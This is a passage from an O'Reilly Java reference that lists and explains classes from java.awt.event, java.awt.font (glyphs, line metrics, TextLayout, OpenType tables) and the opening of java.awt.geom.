WINDOW_DEACTIVATED

Delivered when the window ceases to be the active window, typically when the user activates some other window.

public class WindowEvent extends ComponentEvent {
// | Public Constructors
 | public WindowEvent (Window source, int id); |
// | Public Constants
 | public static final int WINDOW_ACTIVATED ; | =205
 | public static final int WINDOW_CLOSED ; | =202
 | public static final int WINDOW_CLOSING ; | =201
 | public static final int WINDOW_DEACTIVATED ; | =206
 | public static final int WINDOW_DEICONIFIED ; | =204
 | public static final int WINDOW_FIRST ; | =200
 | public static final int WINDOW_ICONIFIED ; | =203
 | public static final int WINDOW_LAST ; | =206
 | public static final int WINDOW_OPENED ; | =200
// | Public Instance Methods
 | public Window getWindow (); |
// | Public Methods Overriding ComponentEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent-->WindowEvent

Passed To: Too many methods to list.

WindowListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the methods that an object must implement to listen for window events on AWT components. When a WindowEvent occurs, an AWT component notifies its registered WindowListener objects by invoking one of their methods. An easy way to implement this interface is by subclassing the WindowAdapter class.

public abstract interface WindowListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void windowActivated (WindowEvent e);
 | public abstract void windowClosed (WindowEvent e);
 | public abstract void windowClosing (WindowEvent e);
 | public abstract void windowDeactivated (WindowEvent e);
 | public abstract void windowDeiconified (WindowEvent e);
 | public abstract void windowIconified (WindowEvent e);
 | public abstract void windowOpened (WindowEvent e);
}

Hierarchy: (WindowListener(java.util.EventListener))

Implementations: AWTEventMulticaster, WindowAdapter

Passed To: AWTEventMulticaster.{add(), remove()}, Window.{addWindowListener(), removeWindowListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

Previous | Home | Next
13.1. The java.awt.dnd.peer Package | Book Index | 15. The java.awt.font Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.font Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 15. The java.awt.font Package

The java.awt.font package contains classes and interfaces related to fonts; it is new in Java 1.2. Note, however, that the Font class itself is part of the java.awt package. This package contains low-level classes for obtaining information about the measurements of font glyphs and lines of text. It also contains classes for the low-level layout of text. LineMetrics and TextLayout are the two most important classes in this package. Figure 15-1 shows the class hierarchy of this package.

Most programs can rely on the higher-level text display features of java.awt and javax.swing and do not have to use this package.

Figure 15-1. The java.awt.font package

FontRenderContext Java 1.2
java.awt.font

This class stores the information necessary to precisely measure the size of text. It is used by a number of Font methods and also by TextLayout and LineBreakMeasurer. Although FontRenderContext has a public constructor, it is more common to obtain a FontRenderContext by calling the getFontRenderContext() method of a Graphics2D object.

public class FontRenderContext {
// | Public Constructors
 | public FontRenderContext (java.awt.geom.AffineTransform tx, boolean isAntiAliased, boolean usesFractionalMetrics);
// | Protected Constructors
 | protected FontRenderContext ();
// | Property Accessor Methods (by property name)
 | public boolean isAntiAliased ();
 | public java.awt.geom.AffineTransform getTransform ();
// | Public Instance Methods
 | public boolean usesFractionalMetrics ();
}

Passed To: Too many methods to list.

Returned By: Graphics2D.getFontRenderContext(), GlyphVector.getFontRenderContext()

GlyphJustificationInfo Java 1.2
java.awt.font

This class contains information about how much whitespace may be added to or removed from the left and right sides of a glyph without unduly compromising the appearance of the text output. This information is used by algorithms that perform fill justification to force a line of text to an exact size. Only applications that perform high-end typography need to use this class.

public final class GlyphJustificationInfo {
// | Public Constructors
 | public GlyphJustificationInfo (float weight, boolean growAbsorb, int growPriority, float growLeftLimit, float growRightLimit, boolean shrinkAbsorb, int shrinkPriority, float shrinkLeftLimit, float shrinkRightLimit); |
// | Public Constants
 | public static final int PRIORITY_INTERCHAR ; | =2
 | public static final int PRIORITY_KASHIDA ; | =0
 | public static final int PRIORITY_NONE ; | =3
 | public static final int PRIORITY_WHITESPACE ; | =1
// | Public Instance Fields
 | public final boolean growAbsorb ; |
 | public final float growLeftLimit ; |
 | public final int growPriority ; |
 | public final float growRightLimit ; |
 | public final boolean shrinkAbsorb ; |
 | public final float shrinkLeftLimit ; |
 | public final int shrinkPriority ; |
 | public final float shrinkRightLimit ; |
 | public final float weight ; |
}

Returned By: GlyphVector.getGlyphJustificationInfo(), GraphicAttribute.getJustificationInfo()

GlyphMetrics Java 1.2
java.awt.font

This class contains measurements for a single glyph of a font. Although GlyphMetrics has a public constructor, the only way to obtain actual metrics for a glyph is by calling the getGlyphMetrics() method of a GlyphVector.

Each glyph has an origin. The getAdvance() method returns the standard distance between the origin of this glyph and the origin of the next glyph in the GlyphVector from which the GlyphMetrics was obtained. getBounds2D() returns the bounding box of the glyph. This rectangle is positioned relative to the origin of the glyph. getLSB() returns the left-side bearing of the glyph: the distance between the origin and the left side of the bounding box. getRSB() returns the right-side bearing: the distance between the right side of the bounding box and the start of the next glyph. For some glyphs, these bearing values may be negative.

getType() returns the type of the glyph; the return value is one of the constants defined by the class. Most glyphs are of STANDARD type. Glyphs with no visible representation are of type WHITESPACE. Glyphs that represent more than one character have type LIGATURE. Accents and other diacritical marks that modify other glyphs have type COMBINING. Finally, when one character is represented by two or more glyphs, the extra glyph or glyphs have the type COMPONENT.

public final class GlyphMetrics {
// | Public Constructors
 | public GlyphMetrics (float advance, java.awt.geom.Rectangle2D bounds, byte glyphType); |
// | Public Constants
 | public static final byte COMBINING ; | =2
 | public static final byte COMPONENT ; | =3
 | public static final byte LIGATURE ; | =1
 | public static final byte STANDARD ; | =0
 | public static final byte WHITESPACE ; | =4
// | Property Accessor Methods (by property name)
 | public float getAdvance (); |
 | public java.awt.geom.Rectangle2D getBounds2D (); |
 | public boolean isCombining (); |
 | public boolean isComponent (); |
 | public boolean isLigature (); |
 | public float getLSB (); |
 | public float getRSB (); |
 | public boolean isStandard (); |
 | public int getType (); |
 | public boolean isWhitespace (); |
}

Returned By: GlyphVector.getGlyphMetrics()

GlyphVector | Java 1.2
java.awt.font | cloneable

This class represents an array of glyphs taken from a single font that are to be drawn on a single line. You obtain a GlyphVector by calling the createGlyphVector() method of a Font object, and you draw a GlyphVector with the drawGlyphVector() method of a Graphics2D object.

When a string is drawn using the drawString() method of Graphics or Graphics2D, the characters of the string first must be converted to font glyphs, and then those glyphs must be drawn. Thus, if a string is to be drawn repeatedly, it can be more efficient to separate these two steps, converting the string to a GlyphVector once and then drawing that GlyphVector multiple times.

public abstract class GlyphVector implements Cloneable {
// | Public Constructors
 | public GlyphVector ();
// | Property Accessor Methods (by property name)
 | public abstract Font getFont ();
 | public abstract FontRenderContext getFontRenderContext ();
 | public abstract java.awt.geom.Rectangle2D getLogicalBounds ();
 | public abstract int getNumGlyphs ();
 | public abstract Shape getOutline ();
 | public abstract Shape getOutline (float x, float y);
 | public abstract java.awt.geom.Rectangle2D getVisualBounds ();
// | Public Instance Methods
 | public abstract boolean equals (GlyphVector set);
 | public abstract int getGlyphCode (int glyphIndex);
 | public abstract int[ ] getGlyphCodes (int beginGlyphIndex, int numEntries, int[ ] codeReturn);
 | public abstract GlyphJustificationInfo getGlyphJustificationInfo (int glyphIndex);
 | public abstract Shape getGlyphLogicalBounds (int glyphIndex);
 | public abstract GlyphMetrics getGlyphMetrics (int glyphIndex);
 | public abstract Shape getGlyphOutline (int glyphIndex);
 | public abstract java.awt.geom.Point2D getGlyphPosition (int glyphIndex);
 | public abstract float[ ] getGlyphPositions (int beginGlyphIndex, int numEntries, float[ ] positionReturn);
 | public abstract java.awt.geom.AffineTransform getGlyphTransform (int glyphIndex);
 | public abstract Shape getGlyphVisualBounds (int glyphIndex);
 | public abstract void performDefaultLayout ();
 | public abstract void setGlyphPosition (int glyphIndex, java.awt.geom.Point2D newPos);
 | public abstract void setGlyphTransform (int glyphIndex, java.awt.geom.AffineTransform newTX);
}

Hierarchy: Object-->GlyphVector(Cloneable)

Passed To: Graphics2D.drawGlyphVector(), GlyphVector.equals()

Returned By: Font.createGlyphVector()

GraphicAttribute Java 1.2
java.awt.font

This abstract class represents a graphic to be embedded in a line of text in lieu of a regular font glyph. A GraphicAttribute is used as the value of an TextAttribute.CHAR_REPLACEMENT attribute in a java.text.AttributedString or java.text.AttributedCharacterIterator. Most applications use one of the two subclasses ImageGraphicAttribute and ShapeGraphicAttribute. Few applications need to create custom subclasses of their own.

The draw() method is responsible for actually drawing the desired graphic. The other methods return various measurements for the graphic. The constants are possible alignment values returned by getAligment().

public abstract class GraphicAttribute {
// | Protected Constructors
 | protected GraphicAttribute (int alignment); |
// | Public Constants
 | public static final int BOTTOM_ALIGNMENT ; | =-2
 | public static final int CENTER_BASELINE ; | =1
 | public static final int HANGING_BASELINE ; | =2
 | public static final int ROMAN_BASELINE ; | =0
 | public static final int TOP_ALIGNMENT ; | =-1
// | Property Accessor Methods (by property name)
 | public abstract float getAdvance (); |
 | public final int getAlignment (); |
 | public abstract float getAscent (); |
 | public java.awt.geom.Rectangle2D getBounds (); |
 | public abstract float getDescent (); |
 | public GlyphJustificationInfo getJustificationInfo (); |
// | Public Instance Methods
 | public abstract void draw (Graphics2D graphics, float x, float y); |
}

Subclasses: ImageGraphicAttribute, ShapeGraphicAttribute

ImageGraphicAttribute Java 1.2
java.awt.font

This concrete subclass of GraphicAttribute allows an image to be drawn within a string of text. Create an ImageGraphicAttribute by specifying an image to draw, an alignment (one of the constants defined by GraphicAttribute), and, optionally, an origin for the image. The origin coordinates are relative to the image itself. Use the ImageGraphicAttribute by specifying it as the value of a TextAttribute.CHAR_REPLACEMENT attribute in a java.text.AttributedString or java.text.AttributedCharacterIterator.

See also ShapeGraphicAttribute.

public final class ImageGraphicAttribute extends GraphicAttribute {
// | Public Constructors
 | public ImageGraphicAttribute (Image image, int alignment);
 | public ImageGraphicAttribute (Image image, int alignment, float originX, float originY);
// | Public Instance Methods
 | public boolean equals (ImageGraphicAttribute rhs);
// | Public Methods Overriding GraphicAttribute
 | public void draw (Graphics2D graphics, float x, float y);
 | public float getAdvance ();
 | public float getAscent ();
 | public java.awt.geom.Rectangle2D getBounds ();
 | public float getDescent ();
// | Public Methods Overriding Object
 | public boolean equals (Object rhs);
 | public int hashCode ();
}

Hierarchy: Object-->GraphicAttribute-->ImageGraphicAttribute

Passed To: ImageGraphicAttribute.equals()

LineBreakMeasurer Java 1.2
java.awt.font

This class breaks a paragraph of text into individual lines of a specified width, where each line is represented by a TextLayout object. When you create a LineBreakMeasurer, you must specify the paragraph to be broken with a java.text.AttributedCharacterIterator, which is usually is obtained from a java.text.AttributedString. You may optionally specify a java.text.BreakIterator to indicate where line breaks are allowed. The default is to use the line breaking rules of the current locale. You must also pass a FontRenderContext to the LineBreakMeasurer() constructor. The FontRenderContext is usually obtained with the getFontRenderContext() method of Graphics2D.

Once you have created a LineBreakMeasurer for your paragraph, you use it by repeatedly calling nextLayout() to create TextLayout objects that represent lines. nextLayout() returns null when it reaches the end of the paragraph. The desired width of each line is passed as an argument to nextLayout(). This allows the first line of a paragraph to be made shorter than the following lines, for example.

public final class LineBreakMeasurer {
// | Public Constructors
 | public LineBreakMeasurer (java.text.AttributedCharacterIterator text, FontRenderContext frc);
 | public LineBreakMeasurer (java.text.AttributedCharacterIterator text, java.text.BreakIterator breakIter, FontRenderContext frc);
// | Public Instance Methods
 | public void deleteChar (java.text.AttributedCharacterIterator newParagraph, int deletePos);
 | public int getPosition ();
 | public void insertChar (java.text.AttributedCharacterIterator newParagraph, int insertPos);
 | public TextLayout nextLayout (float maxAdvance);
 | public TextLayout nextLayout (float wrappingWidth, int offsetLimit, boolean requireNextWord);
 | public int nextOffset (float maxAdvance);
 | public int nextOffset (float wrappingWidth, int offsetLimit, boolean requireNextWord);
 | public void setPosition (int newPosition);
}
LineMetrics Java 1.2
java.awt.font

This class provides access to various measurements for the characters in a font. The name LineMetrics is somewhat confusing; it refers to the general line metrics of a font, not the metrics of some particular line of text rendered with the font. LineMetrics provides more accurate metrics than java.awt.FontMetrics and also includes some metrics that are simply not available through that class.

Obtain a LineMetrics object by calling one of the getLineMetrics() methods of Font or FontMetrics. These methods require that you supply some form of text to measure. The returned LineMetrics object does not contain the width of that text, but the font measurements it does return may depend on the content of the text. For example, the metrics for English text may differ from metrics for Japanese text. (Note, however, that the initial implementation from Sun simply ignores the text you specify.) If the supplied text contains characters from more than one language, the returned metrics may apply only to a prefix of the text. The getNumChars() method returns the length of this prefix.

Once you have obtained a LineMetrics object, you can call its various accessor methods to obtain information about the font. getAscent() returns the distance between the baseline and the top of the tallest character. getDescent() returns the distance between the baseline and the bottom of the lowest descender. getLeading() returns the recommended interline spacing for the font (so named for the strips of lead that used to be placed between rows of movable type). getHeight() returns the distance between the baseline of one line and the baseline of the next. It is equal to the sum of the ascent, descent, and leading. getUnderlineOffset() returns the recommended position of an underline, relative to the baseline for the font, and getUnderlineThickness() returns the recommended thickness of an underline. Two similar methods return the position and thickness of lines used to strike through characters in the font.

public abstract class LineMetrics {
// | Public Constructors
 | public LineMetrics ();
// | Property Accessor Methods (by property name)
 | public abstract float getAscent ();
 | public abstract int getBaselineIndex ();
 | public abstract float[ ] getBaselineOffsets ();
 | public abstract float getDescent ();
 | public abstract float getHeight ();
 | public abstract float getLeading ();
 | public abstract int getNumChars ();
 | public abstract float getStrikethroughOffset ();
 | public abstract float getStrikethroughThickness ();
 | public abstract float getUnderlineOffset ();
 | public abstract float getUnderlineThickness ();
}

Returned By: Font.getLineMetrics(), FontMetrics.getLineMetrics()

MultipleMaster Java 1.2
java.awt.font

This interface describes capabilities of Type 1 Multiple Master fonts. If a Font object represents a Multiple Master font, it implements the MultipleMaster interface. Most fonts have only one parameter that you can vary: the point size. A Multiple Master font is a generalization that allows you to vary any number of design axes of the font. These design axes may be things such as font weight, average glyph width, italic angle, and so forth. The methods of the MultipleMaster interface allow you to query the names, defaults, and valid ranges of these design axes and derive new versions of the font by specifying values for each axis.

public abstract interface MultipleMaster {
// | Property Accessor Methods (by property name)
 | public abstract float[ ] getDesignAxisDefaults ();
 | public abstract String[ ] getDesignAxisNames ();
 | public abstract float[ ] getDesignAxisRanges ();
 | public abstract int getNumDesignAxes ();
// | Public Instance Methods
 | public abstract Font deriveMMFont (float[ ] axes);
 | public abstract Font deriveMMFont (float[ ] glyphWidths, float avgStemWidth, float typicalCapHeight, float typicalXHeight, float italicAngle);
}
OpenType Java 1.2
java.awt.font

This interface is implemented by Font objects that represent OpenType and TrueType fonts. It allows access to tables of raw font data. You should use this interface only if you are intimately familiar with the font data format for OpenType and TrueType fonts.

public abstract interface OpenType {
// | Public Constants
 | public static final int TAG_ACNT ; | =1633906292
 | public static final int TAG_AVAR ; | =1635148146
 | public static final int TAG_BASE ; | =1111577413
 | public static final int TAG_BDAT ; | =1650745716
 | public static final int TAG_BLOC ; | =1651273571
 | public static final int TAG_BSLN ; | =1651731566
 | public static final int TAG_CFF ; | =1128678944
 | public static final int TAG_CMAP ; | =1668112752
 | public static final int TAG_CVAR ; | =1668702578
 | public static final int TAG_CVT ; | =1668707360
 | public static final int TAG_DSIG ; | =1146308935
 | public static final int TAG_EBDT ; | =1161970772
 | public static final int TAG_EBLC ; | =1161972803
 | public static final int TAG_EBSC ; | =1161974595
 | public static final int TAG_FDSC ; | =1717859171
 | public static final int TAG_FEAT ; | =1717920116
 | public static final int TAG_FMTX ; | =1718449272
 | public static final int TAG_FPGM ; | =1718642541
 | public static final int TAG_FVAR ; | =1719034226
 | public static final int TAG_GASP ; | =1734439792
 | public static final int TAG_GDEF ; | =1195656518
 | public static final int TAG_GLYF ; | =1735162214
 | public static final int TAG_GPOS ; | =1196445523
 | public static final int TAG_GSUB ; | =1196643650
 | public static final int TAG_GVAR ; | =1735811442
 | public static final int TAG_HDMX ; | =1751412088
 | public static final int TAG_HEAD ; | =1751474532
 | public static final int TAG_HHEA ; | =1751672161
 | public static final int TAG_HMTX ; | =1752003704
 | public static final int TAG_JSTF ; | =1246975046
 | public static final int TAG_JUST ; | =1786082164
 | public static final int TAG_KERN ; | =1801810542
 | public static final int TAG_LCAR ; | =1818452338
 | public static final int TAG_LOCA ; | =1819239265
 | public static final int TAG_LTSH ; | =1280594760
 | public static final int TAG_MAXP ; | =1835104368
 | public static final int TAG_MMFX ; | =1296909912
 | public static final int TAG_MMSD ; | =1296913220
 | public static final int TAG_MORT ; | =1836020340
 | public static final int TAG_NAME ; | =1851878757
 | public static final int TAG_OPBD ; | =1836020340
 | public static final int TAG_OS2 ; | =1330851634
 | public static final int TAG_PCLT ; | =1346587732
 | public static final int TAG_POST ; | =1886352244
 | public static final int TAG_PREP ; | =1886545264
 | public static final int TAG_PROP ; | =1886547824
 | public static final int TAG_TRAK ; | =1953653099
 | public static final int TAG_TYP1 ; | =1954115633
 | public static final int TAG_VDMX ; | =1447316824
 | public static final int TAG_VHEA ; | =1986553185
 | public static final int TAG_VMTX ; | =1986884728
// | Public Instance Methods
 | public abstract byte[ ] getFontTable (String strSfntTag); |
 | public abstract byte[ ] getFontTable (int sfntTag); |
 | public abstract byte[ ] getFontTable (String strSfntTag, int offset, int count); |
 | public abstract byte[ ] getFontTable (int sfntTag, int offset, int count); |
 | public abstract int getFontTableSize (String strSfntTag); |
 | public abstract int getFontTableSize (int sfntTag); |
 | public abstract int getVersion (); |
}
ShapeGraphicAttribute Java 1.2
java.awt.font

This concrete subclass of GraphicAttribute allows an arbitrary shape to be drawn within a string of text. Create a ShapeGraphicAttribute by specifying a shape to draw and an alignment (one of the constants defined by GraphicAttribute) that specifies how the shape is aligned with the rest of the text. Pass true for the third argument, stroke, if the shape should simply be drawn, or pass false if the shape should be filled. Use the ShapeGraphicAttribute by specifying it as the value of a TextAttribute.CHAR_REPLACEMENT attribute in a java.text.AttributedString or java.text.AttributedCharacterIterator

See also ImageGraphicAttribute.

public final class ShapeGraphicAttribute extends GraphicAttribute {
// | Public Constructors
 | public ShapeGraphicAttribute (Shape shape, int alignment, boolean stroke); |
// | Public Constants
 | public static final boolean FILL ; | =false
 | public static final boolean STROKE ; | =true
// | Public Instance Methods
 | public boolean equals (ShapeGraphicAttribute rhs); |
// | Public Methods Overriding GraphicAttribute
 | public void draw (Graphics2D graphics, float x, float y); |
 | public float getAdvance (); |
 | public float getAscent (); |
 | public java.awt.geom.Rectangle2D getBounds (); |
 | public float getDescent (); |
// | Public Methods Overriding Object
 | public boolean equals (Object rhs); |
 | public int hashCode (); |
}

Hierarchy: Object-->GraphicAttribute-->ShapeGraphicAttribute

Passed To: ShapeGraphicAttribute.equals()

TextAttribute | Java 1.2
java.awt.font | serializable

This class defines constants that serve as attribute names and attribute values for use with java.text.AttributedString and java.text.AttributedCharacterIterator objects. The constants of type TextAttribute serve as attribute names. The other constants define commonly used values for those attributes. Note that the value of the CHAR_REPLACEMENT attribute should be a GraphicAttribute object, and the value of the TRANSFORM attribute should be a TransformAttribute object.

public final class TextAttribute extends java.text.AttributedCharacterIterator.Attribute {
// | Protected Constructors
 | protected TextAttribute (String name);
// | Public Constants
 | public static final TextAttribute BACKGROUND ;
 | public static final TextAttribute BIDI_EMBEDDING ;
 | public static final TextAttribute CHAR_REPLACEMENT ;
 | public static final TextAttribute FAMILY ;
 | public static final TextAttribute FONT ;
 | public static final TextAttribute FOREGROUND ;
 | public static final TextAttribute INPUT_METHOD_HIGHLIGHT ;
 | public static final TextAttribute JUSTIFICATION ;
 | public static final Float JUSTIFICATION_FULL ;
 | public static final Float JUSTIFICATION_NONE ;
 | public static final TextAttribute POSTURE ;
 | public static final Float POSTURE_OBLIQUE ;
 | public static final Float POSTURE_REGULAR ;
 | public static final TextAttribute RUN_DIRECTION ;
 | public static final Boolean RUN_DIRECTION_LTR ;
 | public static final Boolean RUN_DIRECTION_RTL ;
 | public static final TextAttribute SIZE ;
 | public static final TextAttribute STRIKETHROUGH ;
 | public static final Boolean STRIKETHROUGH_ON ;
 | public static final TextAttribute SUPERSCRIPT ;
 | public static final Integer SUPERSCRIPT_SUB ;
 | public static final Integer SUPERSCRIPT_SUPER ;
 | public static final TextAttribute SWAP_COLORS ;
 | public static final Boolean SWAP_COLORS_ON ;
 | public static final TextAttribute TRANSFORM ;
 | public static final TextAttribute UNDERLINE ;
 | public static final Integer UNDERLINE_ON ;
 | public static final TextAttribute WEIGHT ;
 | public static final Float WEIGHT_BOLD ;
 | public static final Float WEIGHT_DEMIBOLD ;
 | public static final Float WEIGHT_DEMILIGHT ;
 | public static final Float WEIGHT_EXTRA_LIGHT ;
 | public static final Float WEIGHT_EXTRABOLD ;
 | public static final Float WEIGHT_HEAVY ;
 | public static final Float WEIGHT_LIGHT ;
 | public static final Float WEIGHT_MEDIUM ;
 | public static final Float WEIGHT_REGULAR ;
 | public static final Float WEIGHT_SEMIBOLD ;
 | public static final Float WEIGHT_ULTRABOLD ;
 | public static final TextAttribute WIDTH ;
 | public static final Float WIDTH_CONDENSED ;
 | public static final Float WIDTH_EXTENDED ;
 | public static final Float WIDTH_REGULAR ;
 | public static final Float WIDTH_SEMI_CONDENSED ;
 | public static final Float WIDTH_SEMI_EXTENDED ;
// | Protected Methods Overriding AttributedCharacterIterator.Attribute
 | protected Object readResolve () throws java.io.InvalidObjectException;
}

Hierarchy: Object-->java.text.AttributedCharacterIterator.Attribute(Serializable)-->TextAttribute

Type Of: Too many fields to list.

TextHitInfo Java 1.2
java.awt.font

This class encapsulates the position of a character within a string of text and the bias, or side, of the character. The hitTestChar() method of TextLayout takes the position of a mouse click and returns a TextHitInfo that specifies where the click occurred.

getCharIndex() returns the position of the character that was hit. getInsertionIndex() returns the position at which characters should be inserted or deleted. This may or may not be the same as the value returned by getCharIndex(). isLeadingEdge() specifies whether the hit was on the leading edge of the character.

If you want to place the insertion cursor at the position of the mouse click, it is not sufficient to know which character was clicked on; you must also know whether the leading edge or the trailing edge of the character was clicked on. This is particularly important when working with bidirectional text, such as Arabic or Hebrew. If the TextHitInfo specifies that the trailing edge was selected, the insertion cursor should be placed before the character. Otherwise, it should be placed after the character.

In bidirectional text, positioning the cursor correctly in response to user requests to move it left or right can be quite tricky. TextHitInfo is also returned by the getNextLeftHit() and getNextRightHit() methods of TextLayout, to help solve this problem.

public final class TextHitInfo {
// | No Constructor
// | Public Class Methods
 | public static TextHitInfo afterOffset (int offset);
 | public static TextHitInfo beforeOffset (int offset);
 | public static TextHitInfo leading (int charIndex);
 | public static TextHitInfo trailing (int charIndex);
// | Property Accessor Methods (by property name)
 | public int getCharIndex ();
 | public int getInsertionIndex ();
 | public boolean isLeadingEdge ();
 | public TextHitInfo getOtherHit ();
// | Public Instance Methods
 | public boolean equals (TextHitInfo hitInfo);
 | public TextHitInfo getOffsetHit (int delta);
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Passed To: Too many methods to list.

Returned By: Too many methods to list.

TextLayout | Java 1.2
java.awt.font | cloneable

This class represents and displays a line of styled, possibly bidirectional, text and provides algorithms for the visual manipulation of that text. This is a powerful and complex class. Many applications prefer to use high-level Swing components, such as JTextField and JTextPane, to handle text display and editing. Some applications may want to use the lower-level GlyphVector class for maximum text drawing speed.

Using the TextLayout() constructor, you can create a TextLayout from a java.text.AttributedCharacterIterator, from a string and a font, or from a string and a java.util.Map of attributes. All versions of the constructor also require a FontRenderContext, obtained with the getFontRenderContext() method of Graphics2D.

Once you have created a TextLayout, you can draw it by calling its draw() method. TextLayout also provides various other methods to support applications that allow the user to edit the text. If the user clicks on the text, you can determine what character was clicked on with hitTestChar(), which returns a TextHitInfo. Once you have an insertion position specified with a TextHitInfo, you can obtain a Shape appropriate for use as an insertion cursor by calling getCaretShape(). The returned shape is relative to the origin of the TextLayout, and it takes into account whether the text is italic. getCaretShapes() is passed a character index within the TextLayout; it returns an array of one or two Shape objects that represent insertion cursors for that character position. Usually this array contains only one cursor, but in bidirectional text, it may contain both a primary insertion cursor and a secondary insertion cursor.

If the user selects text by clicking and dragging with the mouse, you can call getVisualHighlightShape() to determine how to highlight the selected text. This method returns a Shape object suitable for drawing the highlighted regions. Alternatively, you can use getLogicalHightlightShape() to highlight a specified contiguous group of characters in the TextLayout. Note, however, that in bidirectional text, this logical highlight might map to two visually disjoint regions.

public final class TextLayout implements Cloneable {
// | Public Constructors
 | public TextLayout (java.text.AttributedCharacterIterator text, FontRenderContext frc); |
 | public TextLayout (String string, Font font, FontRenderContext frc); |
 | public TextLayout (String string, java.util.Map attributes, FontRenderContext frc); |
// | Public Constants
 | public static final TextLayout.CaretPolicy DEFAULT_CARET_POLICY ; |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public float getAdvance (); |
 | public float getAscent (); |
 | public byte getBaseline (); |
 | public float[ ] getBaselineOffsets (); |
 | public java.awt.geom.Rectangle2D getBounds (); |
 | public int getCharacterCount (); |
 | public float getDescent (); |
 | public float getLeading (); |
 | public boolean isLeftToRight (); |
 | public boolean isVertical (); |
 | public float getVisibleAdvance (); |
// | Public Instance Methods
 | public void draw (Graphics2D g2, float x, float y); |
 | public boolean equals (TextLayout rhs); |
 | public Shape getBlackBoxBounds (int firstEndpoint, int secondEndpoint); |
 | public float[ ] getCaretInfo (TextHitInfo hit); |
 | public float[ ] getCaretInfo (TextHitInfo hit, java.awt.geom.Rectangle2D bounds); |
 | public Shape getCaretShape (TextHitInfo hit); |
 | public Shape getCaretShape (TextHitInfo hit, java.awt.geom.Rectangle2D bounds); |
 | public Shape[ ] getCaretShapes (int offset); |
 | public Shape[ ] getCaretShapes (int offset, java.awt.geom.Rectangle2D bounds); |
 | public Shape[ ] getCaretShapes (int offset, java.awt.geom.Rectangle2D bounds, TextLayout.CaretPolicy policy); |
 | public byte getCharacterLevel (int index); |
 | public TextLayout getJustifiedLayout (float justificationWidth); |
 | public Shape getLogicalHighlightShape (int firstEndpoint, int secondEndpoint); |
 | public Shape getLogicalHighlightShape (int firstEndpoint, int secondEndpoint, java.awt.geom.Rectangle2D bounds); |
 | public int[ ] getLogicalRangesForVisualSelection (TextHitInfo firstEndpoint, TextHitInfo secondEndpoint); |
 | public TextHitInfo getNextLeftHit (int offset); |
 | public TextHitInfo getNextLeftHit (TextHitInfo hit); |
 | public TextHitInfo getNextLeftHit (int offset, TextLayout.CaretPolicy policy); |
 | public TextHitInfo getNextRightHit (int offset); |
 | public TextHitInfo getNextRightHit (TextHitInfo hit); |
 | public TextHitInfo getNextRightHit (int offset, TextLayout.CaretPolicy policy); |
 | public Shape getOutline (java.awt.geom.AffineTransform tx); |
 | public Shape getVisualHighlightShape (TextHitInfo firstEndpoint, TextHitInfo secondEndpoint); |
 | public Shape getVisualHighlightShape (TextHitInfo firstEndpoint, TextHitInfo secondEndpoint, java.awt.geom.Rectangle2D bounds); |
 | public TextHitInfo getVisualOtherHit (TextHitInfo hit); |
 | public TextHitInfo hitTestChar (float x, float y); |
 | public TextHitInfo hitTestChar (float x, float y, java.awt.geom.Rectangle2D bounds); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
// | Protected Methods Overriding Object
 | protected Object clone (); |
// | Protected Instance Methods
 | protected void handleJustify (float justificationWidth); | empty
}

Hierarchy: Object-->TextLayout(Cloneable)

Passed To: TextLayout.equals(), TextLayout.CaretPolicy.getStrongCaret()

Returned By: LineBreakMeasurer.nextLayout(), TextLayout.getJustifiedLayout()

TextLayout.CaretPolicy Java 1.2
java.awt.font

This class defines a policy for deciding which insertion position is the dominant one in bidirectional text. Most applications never need to use this class.

If you want to specify a policy other than the default, you should subclass this class and override getStrongCaret() to choose between two TextHitInfo objects, returning the one that represents the dominant insertion position. Then pass an instance of your subclass to the getCaretShapes(), getNextLeftHit(), and getNextRightHit() methods of TextLayout.

public static class TextLayout.CaretPolicy {
// | Public Constructors
 | public CaretPolicy ();
// | Public Instance Methods
 | public TextHitInfo getStrongCaret (TextHitInfo hit1, TextHitInfo hit2, TextLayout layout);
}

Passed To: TextLayout.{getCaretShapes(), getNextLeftHit(), getNextRightHit()}

Type Of: TextLayout.DEFAULT_CARET_POLICY

TextLine.TextLineMetrics Java 1.2
java.awt.font

This public inner class is defined within a private class. It was inadvertently included in the public API of java.awt.font but should be considered private.

public static final class TextLine.TextLineMetrics {
// | Public Constructors
 | public TextLineMetrics (float ascent, float descent, float leading, float advance);
// | Public Instance Fields
 | public final float advance ;
 | public final float ascent ;
 | public final float descent ;
 | public final float leading ;
}
TransformAttribute | Java 1.2
java.awt.font | serializable

This class is a simple immutable wrapper around a java.awt.geom.AffineTransform. This wrapper makes it safe to use a transform as the value of a TextAttribute.TRANSFORM attribute.

public final class TransformAttribute implements Serializable {
// | Public Constructors
 | public TransformAttribute (java.awt.geom.AffineTransform transform);
// | Public Instance Methods
 | public java.awt.geom.AffineTransform getTransform ();
}

Hierarchy: Object-->TransformAttribute(Serializable)

Previous | Home | Next
14.1. The java.awt.event Package | Book Index | 16. The java.awt.geom Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.geom Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 16. The java.awt.geom Package

The java.awt.geom package contains Java 2D classes and interfaces related to shapes and geometry; the package is new in Java 1.2. Most of the classes in this package are java.awt.Shape implementations that can be drawn and filled by a java.awt.Graphics2D object. Note that some implementations store data using single-precision floating-point coordinates, while others use double-precision coordinates. Other important classes include AffineTransform, Area, GeneralPath, and PathIterator. Figure 16-1 shows the class hierarchy of this package.

Figure 16-1. The java.awt.geom package

AffineTransform | Java 1.2
java.awt.geom | cloneable serializable

An AffineTransform represents an arbitrary linear transformation of a point, vector, shape, or coordinate system by any combination of translation, rotation, scaling, flipping, and skewing. This is one of the most fundamental classes in Java 2D: the Java 2D rendering process uses an AffineTransform to convert from user coordinate space to the coordinate space of the physical device. In addition to this implicit use of AffineTransform, the class is often used explicitly in Java 2D programming.

